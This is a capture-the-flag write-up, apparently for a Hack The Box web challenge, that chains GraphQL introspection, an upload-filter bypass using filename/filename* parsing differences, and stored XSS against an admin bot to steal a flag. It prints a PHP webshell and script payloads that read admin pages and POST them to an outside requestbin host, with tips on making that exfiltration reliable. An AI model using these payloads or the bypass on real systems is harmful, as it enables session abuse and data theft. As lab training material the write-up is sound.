Challenge Info

Spoiler
The Empire of Volnaya has launched a secret cyber offensive “Operation Blackout” targeting key digital gateways to sow global chaos and ignite a new Cold War. As part of the elite Task Force Phoenix, you’ll penetrate their defenses, unravel hidden mechanisms, and secure critical intelligence before Volnaya plunges the world into darkness. Good luck, Agent. The balance of power depends on you.

Artifacts Provided

  • Application source — Node.js/Express, Apollo GraphQL, SQLite, nginx (openresty) in front
  • Live web instance — http://VICTIM-IP:PORT

Analysis

Reconnaissance

Registration requires an email ending in @blackouts.htb and an invite code. The source (db/database.js) seeds one directly:

1
2
3
4
5
6
7
db.get(`SELECT * FROM users WHERE email = ?`, ['[email protected]'], (err, row) => {
  if (!row) {
    const insert = 'INSERT INTO users (email, password, role, inviteCode, verified) VALUES (?, ?, ?, ?, ?)';
    const adminPassword = crypto.randomBytes(32).toString('hex');
    db.run(insert, ['[email protected]', adminPassword, 'admin', 'ADMININV123', 1]);
  }
});

ADMININV123 is the admin’s own invite code, not something we can re-use — invite codes are tied to a specific account by email, not a shared secret. We register our own account instead and find we still need to verify it, with no way to read our own inbox.

The app exposes a GraphQL endpoint. Introspection is enabled, so we enumerate the schema:

1
{ __schema { types { name } } }
1
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"User"},{"name":"ID"},{"name":"Boolean"},{"name":"IncidentReport"},{"name":"Upload"},{"name":"Int"},{"name":"Mutation"}, ...]}}}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  __schema {
    queryType {
      fields {
        name
        args { name type { name kind ofType { name kind } } }
      }
    }
  }
}
1
{"data":{"__schema":{"queryType":{"fields":[{"name":"systemStatus","args":[]},{"name":"dataStorage","args":[]},{"name":"powerLevel","args":[]},{"name":"me","args":[]},{"name":"incidentReports","args":[]},{"name":"uploads","args":[]}]}}}}

me takes no arguments — it resolves off the session. Dumping its return type:

1
{ __type(name: "User") { fields { name type { name kind } } } }
1
{"data":{"__type":{"fields":[{"name":"id", ...},{"name":"email", ...},{"name":"role", ...},{"name":"inviteCode","type":{"name":"String","kind":"SCALAR"}},{"name":"verified", ...}]}}}

inviteCode is exposed on our own User object, before verification:

1
query { me { id email role inviteCode verified } }
1
{"data":{"me":{"id":"2","email":"[email protected]","role":"user","inviteCode":"XSSKVKJU","verified":false}}}

That’s our own verification code, disclosed by a field that should only matter server-side. We feed it back to verifyAccount:

1
mutation { verifyAccount(inviteCode: "XSSKVKJU") { id email role verified } }
1
{"data":{"verifyAccount":{"id":"2","email":"[email protected]","role":"user","verified":true}}}
Tip

We tried registering with role: "admin" directly:

1
mutation { register(email: "[email protected]", password: "x", role: "admin") { id role } }

GraphQL rejects this as an unknown field — register only accepts email and password. No mass-assignment here; role is hardcoded 'user' server-side.

Fingerprinting the engine confirms Apollo:

1
2
3
4
5
graphw00f.py -d -f -t http://VICTIM-IP:PORT

[!] Found GraphQL at http://VICTIM-IP:PORT/graphql
[*] Discovered GraphQL Engine: (Apollo)
[*] Technologies: JavaScript, Node.js, TypeScript

Dumping the mutation list with return types:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  __schema {
    mutationType {
      fields {
        name
        args { name type { name kind ofType { name kind } } }
        type { kind name ofType { kind name ofType { kind name } } }
      }
    }
  }
}
1
2
3
4
5
6
7
8
{"data":{"__schema":{"mutationType":{"name":"Mutation","fields":[
  {"name":"login", ...},
  {"name":"submitIncidentReport","args":[{"name":"title", ...},{"name":"details", ...},{"name":"evidenceUrl", ...}], ...},
  {"name":"updateIncidentReportStatus", ...},
  {"name":"register", ...},
  {"name":"verifyAccount", ...},
  {"name":"regenerateInviteCode","args":[], ...}
]}}}}

incidentReports and updateIncidentReportStatus are both gated in resolvers.js on context.user.role === 'admin'. Our account is role: 'user', with no mutation able to change that — not a brute-forceable issue either, since the admin password is a random 32-byte hex generated at startup.

submitIncidentReport is open to any verified user, and takes an evidenceUrl.

Upload Filter Bypass

Tip

First instinct: upload a PHP webshell by renaming its extension past the Content-Disposition filename:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: application/x-php

<?php system($_GET["cmd"]); ?>

It uploads fine, but browsing it returns the PHP source as plain text:

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: image/jpeg
X-Powered-By: Express

X-Powered-By: Express is the tell — the backend is Node, not PHP. There’s no interpreter to run it regardless of the extension stored. Dead end.

Tip

We also fuzzed /files/ for classic LFI paths before looking at the source, on the chance the static route built paths unsafely:

1
2
ffuf -w [email protected] -u http://VICTIM-IP:PORT/files/FUZZ
:: Progress: [1156/1156] :: 0 matches

Zero hits. app.js later confirms why — /files is plain express.static(), which normalizes and rejects .. segments before touching disk.

With source access, the real filter is in nginx.conf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
location /upload {
    access_by_lua_block {
        ...
        local allowed_extensions = { "jpg", "png", "gif" }
        while true do
            local part_body, name, mime, filename = p:parse_part()
            if not part_body then break end
            if filename then
                local extension = string.match(filename, "%.([^.]+)$")
                if extension then
                    extension = extension:lower()
                    local allowed = false
                    for _, ext in ipairs(allowed_extensions) do
                        if ext == extension then allowed = true break end
                    end
                    if not allowed then return ngx.exit(ngx.HTTP_BAD_REQUEST) end
                end
            end
        end
        ngx.req.set_body_data(body)
    }
    proxy_pass http://127.0.0.1:3000;
}

nginx validates the extension with its own Lua multipart parser (resty.multipart.parser), then forwards the original, unmodified bytes to Express. Express re-parses the same multipart body with @fastify/busboy, which stores the file under whatever filename it extracts:

1
2
3
4
bb.on('file', (fieldname, file, filename) => {
  const saveTo = path.join(uploadsDir, filename);   // no validation at all
  ...
});

Two different parsers reading the same bytes is the bug. We first confirmed busboy can’t be tricked into path traversal — sandbox-tested against @fastify/busboy 3.2.6 with the default preservePath: false:

Filename sentName busboy stored
../x1.txtx1.txt
..\x2.txtx2.txt
a/../../x6.txtx6.txt

Directory components are always stripped — not the bug here. The actual mismatch is in which filename parameter each parser honors. A Content-Disposition header can legally carry both filename and the RFC 5987 filename* form:

Content-Disposition: form-data; name="file"; filename="safe.jpg"; filename*=UTF-8''safe.html

Testing this against the target: nginx’s Lua parser only reads the plain filename (safe.jpg — allowed), while busboy takes whichever parameter appears last in the header and stores under that name (safe.html). Confirmed by checking uploads and fetching the result:

1
2
3
curl -I 'http://VICTIM-IP:PORT/files/safe.html'
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Arbitrary extensions, served as the content type Express derives from that extension — including text/html, rendered and executed by a browser.

Tip
The official solution delivers this same bypass as an SVG (image/svg+xml) — a script inside <svg><script>...</script></svg> still executes when the file is navigated to directly, even though it wouldn’t inside an <img> tag. We found the bypass works just as well with a plain .html file through the identical filename/filename* mismatch, which Express serves directly as text/html with no need for the SVG script-execution quirk. Functionally the same underlying bug, different payload wrapper.

From Stored XSS to Admin Session

resolvers.js shows what submitIncidentReport does with evidenceUrl:

1
2
3
4
5
6
7
if (args.evidenceUrl) {
  db.get("SELECT email, password FROM users WHERE role = 'admin' LIMIT 1", [], (err, adminUser) => {
    const bot = require('../bot');
    bot.visitReport(args.evidenceUrl, adminUser.email, adminUser.password)
      .catch(err => console.error("Bot error:", err));
  });
}

And bot.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
await page.goto("http://127.0.0.1:1337/", { waitUntil: "networkidle0" });
await page.evaluate((user, pass) => {
  document.querySelector("input[id=email]").value = user;
  document.querySelector("input[id=password]").value = pass;
  document.querySelector("button[type=submit]").click();
}, admin_email, admin_password);
await page.waitForNavigation();
await page.goto(url);
await page.waitForNavigation();
await page.waitForTimeout(3000);

A headless Chromium instance logs in as admin at http://127.0.0.1:1337 — the nginx-facing origin, not the internal :3000 Express port — then navigates to whatever evidenceUrl we supplied, in the same browser context and session.

The session cookie itself is out of reach:

Set-Cookie: connect.sid=...; Path=/; HttpOnly

HttpOnly blocks any JS-readable access to it. We don’t need the cookie value, though — we need a page that runs in that session, which our stored-HTML bypass already gives us.

Tip
This is why the payload has to be hosted on the app’s own origin (127.0.0.1:1337/files/...) rather than an external domain. fetch() defaults to credentials: "same-origin", so a same-origin request carries connect.sid automatically; a cross-origin one wouldn’t by default, and even forcing credentials: "include" would be blocked from reading the response — the GraphQL endpoint returns Access-Control-Allow-Origin: *, which the Fetch spec forbids combining with credentialed requests.

First payload: query /graphql same-origin and exfiltrate the result.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<script>
async function fetchData() {
  const response = await fetch('http://127.0.0.1:1337/graphql', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      query: `query { incidentReports { id title details evidenceUrl submittedAt status } }`
    }),
  });
  const data = await response.json();
  await fetch('http://requestbin.whapi.cloud/REDACTED', {
    method: 'POST',
    body: JSON.stringify(data),
  });
}
fetchData();
</script>
Tip
The exfil request to requestbin initially only produced a CORS preflight OPTIONS, never the actual POST with data. Setting Content-Type: application/json on a cross-origin fetch makes it a non-simple request, forcing a preflight that requestbin didn’t answer with the right Access-Control-Allow-* headers — the browser silently dropped the real request. Dropping the explicit Content-Type header keeps it a simple request (no preflight), and the data arrives. navigator.sendBeacon() is the more robust fix, since it’s fire-and-forget and survives the bot’s browser closing shortly after navigation.

Uploading this (via the filename* bypass) and submitting it as evidenceUrl gets us an authenticated admin read on incidentReports and uploads — confirming the authorization bypass — but both only contained our own test submissions.

Reading the Flag

routes/pages.js has the actual target, gated independently of GraphQL:

1
2
3
4
5
6
7
router.get('/admin', (req, res) => {
  if (!req.session.user || req.session.user.role !== 'admin') {
    return res.redirect('/dashboard');
  }
  const flag = fs.readFileSync('/flag.txt', 'utf8');
  res.render('admin.html', { flag });
});

Same technique, new target — fetch /admin instead of /graphql, read the rendered HTML as text, and exfiltrate it whole:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<script>
async function fetchData() {
  const response = await fetch('http://127.0.0.1:1337/admin');
  const data = await response.text();
  await fetch('http://requestbin.whapi.cloud/REDACTED', {
    method: 'POST',
    body: data,
  });
}
fetchData();
</script>

Re-uploaded, re-submitted as evidenceUrl on a fresh incident report — the admin bot’s own /admin page, flag included, lands on our webhook.

Full Chain

  1. Register with the invite code leaked in database.js seed logic, email @blackouts.htb.
  2. Enumerate the GraphQL schema via introspection — no auth required.
  3. Query me { inviteCode } to self-disclose our own verification code before being verified, and verify the account.
  4. Confirm incidentReports / updateIncidentReportStatus are admin-only server-side; no mass-assignment path to escalate our own role.
  5. Find the upload filter is enforced by nginx’s Lua multipart parser, separately from the busboy parser Express actually uses to store the file.
  6. Bypass it by sending both a filename (allowed extension) and filename* (real payload, any extension) — nginx checks the former, busboy stores under the latter.
  7. Upload a .html page that fetches /graphql same-origin and exfiltrates the response to a webhook.
  8. Submit the page’s URL as evidenceUrl on an incident report — the admin bot logs in and visits it, running our script inside its authenticated session.
  9. Fix the exfil request to avoid a CORS preflight (drop the JSON Content-Type header), confirm admin-level read access.
  10. Pivot the payload to fetch('/admin') instead — a route gated the same way but reading /flag.txt server-side — and exfiltrate the rendered page to capture the flag.